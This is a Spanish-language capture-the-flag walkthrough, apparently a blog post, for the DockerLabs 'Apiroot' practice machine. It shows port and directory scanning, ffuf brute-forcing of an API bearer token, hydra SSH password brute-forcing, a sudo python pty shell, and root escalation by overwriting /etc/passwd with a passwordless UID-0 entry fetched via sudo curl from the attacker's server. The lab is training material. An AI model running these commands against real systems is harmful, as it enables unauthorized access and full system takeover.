Apiroot, DockerLabs
Herramientas y recursos
En este reto de DockerLabs practicamos.
Tecnicas | Herramientas |
---|---|
scan de puertos | nmap |
fuzzing de directorios | feroxbuster |
fuzzing de parametro o password | ffuf |
fuerza bruta ssh | hydra |
escalada python | - que basico |
escalada curl | searchbins |
Reconocimiento y enumeracion
Lo primero como siempre le tiramos un nmap con los parámetros de costumbre.
1
sudo nmap -p- -sS -sC -sV --min-rate=5000 -n -Pn -oX apiroot 172.18.0.2
Como vemos en el reporte en esta ocasion tenemos varios puertos abiertos el el 22 ssh, el 5000 con un server python
Vamos a empezar revisando la web manualmente ya vemos que al menos hay un directorio llamado api y algun otro mas asi que feroxbuster.
1
feroxbuster -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 400 -u http://172.17.0.2:5000/api
Obtenemos el directorio users
Ahora que tenemos el directorio desconocido seguimos leyendo la web y nos muestra la forma es la que hariamos la peticion pero nos falta un dato el bearer token para ello lanza ffuf con el rockyou pq no creo que sea el tipico bearer Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c lo cual seria de locos intertarlo por fuerza bruta.
1
ffuf -c -w ~/Descargas/rockyou.txt/rockyou.txt -H "Authorization: Bearer FUZZ" -u "http://172.17.0.2:5000/api/users" -fc 401 -fl 31
parametro | que hace | ejemplo |
---|---|---|
-c | damos color a la salida | |
-w | indicamos el diccionario | rockyou |
-H | Encabezado o headers | en este caso “Authorization: Bearer FUZZ” |
-u | la url | |
-fc 401 | que no muestre las respuestas no autorizadas | |
-fl 31 | filtra las respuestas que tienen una longitud de 31 bytes |
Obtenemos el password
Ahora ya con el directorio y la bearer podemos empezar la peticiones a ver que sacamos.
Probe a crear usuarios pero siempre inidcaba que faltan datos .
Pero bueno ya tenemos usuario para probar contra ssh voy a tirar de bob primero con hydra.
1
hydra -l bob -P ~/Descargas/rockyou.txt/rockyou.txt 172.17.0.2 ssh -t 12
A ver que encontramos….SSH
Como vemos en la imagen nos ha dejado python3 a disposicion. Yo ejecuto lo siguiente.
1
2
3
sudo -u balulero /usr/bin/python3
import pty;
pty.spawn("/bin/bash");
Lo cual me da una shell con el user nuevo.
Ya sabemos lo que hemos de hacer podemos escribir cualquier archivo que sepamos que existe lo mas sencillo es quitarle la x a root del fichero passwd.
Yo en este caso he probado de crear un usario nuevo privilegiado con root.
Me he pasado el passwd a la maquina atacante y he añadido:
1
firstatack::0:0:firstatack:/home/balulero:/bin/bash
Posteriormente he preparado las variable para la escalada con curl.
1
2
URL=http://192.168.0.102:8000/passwd
LFILE=/etc/passwd
En mi maquina atacante levanto un servidor con python y en la victima ejecuto curl.
1
2
python3 -m http.server 8000
sudo curl $URL -o $LFILE
Una vez cambiado el fichero solo ejecuto.
1
su firstatack
HAsta aqui la maquina , divertida porque es muy intuitiva.
Gracias por leer.
Comments powered by Disqus.